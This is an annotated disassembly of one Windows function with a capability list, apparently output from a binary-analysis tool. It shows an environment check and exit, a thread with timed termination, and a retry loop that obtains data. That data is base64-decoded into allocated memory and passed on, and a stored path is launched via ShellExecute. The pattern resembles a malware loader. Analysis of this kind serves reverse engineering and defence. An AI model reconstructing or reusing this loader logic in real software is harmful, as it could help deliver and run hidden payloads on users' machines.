Function at 0x4048a0
Capabilities:
Create process on windows
Create thread
Decode data using base64 via winapi
Terminate process
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00404550
test eax, eax
je 0x4048c2
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0
push 0
push 0
push 0x402d30
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40490c
push 0x1388
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x404902
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.00404640
call fcn.004040a0
lea ecx, [ebp - 0x44]
call fcn.00405ef0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x24], 0
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x20]
push ecx
lea edx, [ebp - 0x24]
push edx
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x44]
call fcn.00405ea0
mov dword [ebp - 0x28], 0
mov dword [ebp - 8], 0
mov ecx, dword [ebp - 0x14]
call fcn.00404880
test eax, eax
je 0x404974
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [ebp - 0x28], 0
jne 0x4049ae
lea ecx, [ebp - 8]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x20]
push eax
mov edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x14]
call fcn.00405750
add esp, 0xc
test eax, eax
jne 0x4049a5
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4049ac
mov dword [ebp - 0x28], 1
jmp 0x404974
lea ecx, [ebp - 0x44]
call fcn.00405e60
mov dword [ebp - 0x18], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x30], 0
cmp dword [ebp - 8], 0
je 0x404a28
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0xc], eax
push 4
push 0x3000
mov edx, dword [ebp - 0xc]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x18], eax
push 0
push 0
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
push 1
push 0
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
jne 0x404a21
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x2c], 1
call fcn.00403ff0
push 0x412ae8
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
cmp dword [ebp - 0x2c], 0
je 0x404a4b
mov edx, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
call fcn.00403fc0
jmp 0x404a53
lea ecx, [ebp - 0x44]
call fcn.00403de0
push 0x412ae8
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
call fcn.00403a60
test eax, eax
je 0x404a6c
call fcn.00404330
push 4
push 0x3000
push 0x200
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x404ab3
push 0x100
mov eax, dword [ebp - 0x10]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, dword [ebp - 0x10]
call fcn.00403ba0
push 0x8000
push 0
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
cmp dword [0x412ae4], 0
je 0x404ad6
push 5
push 0
push 0
mov edx, dword [0x412ae4]
push edx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea ecx, [ebp - 0x44]
call fcn.00405fc0
mov esp, ebp
pop ebp
ret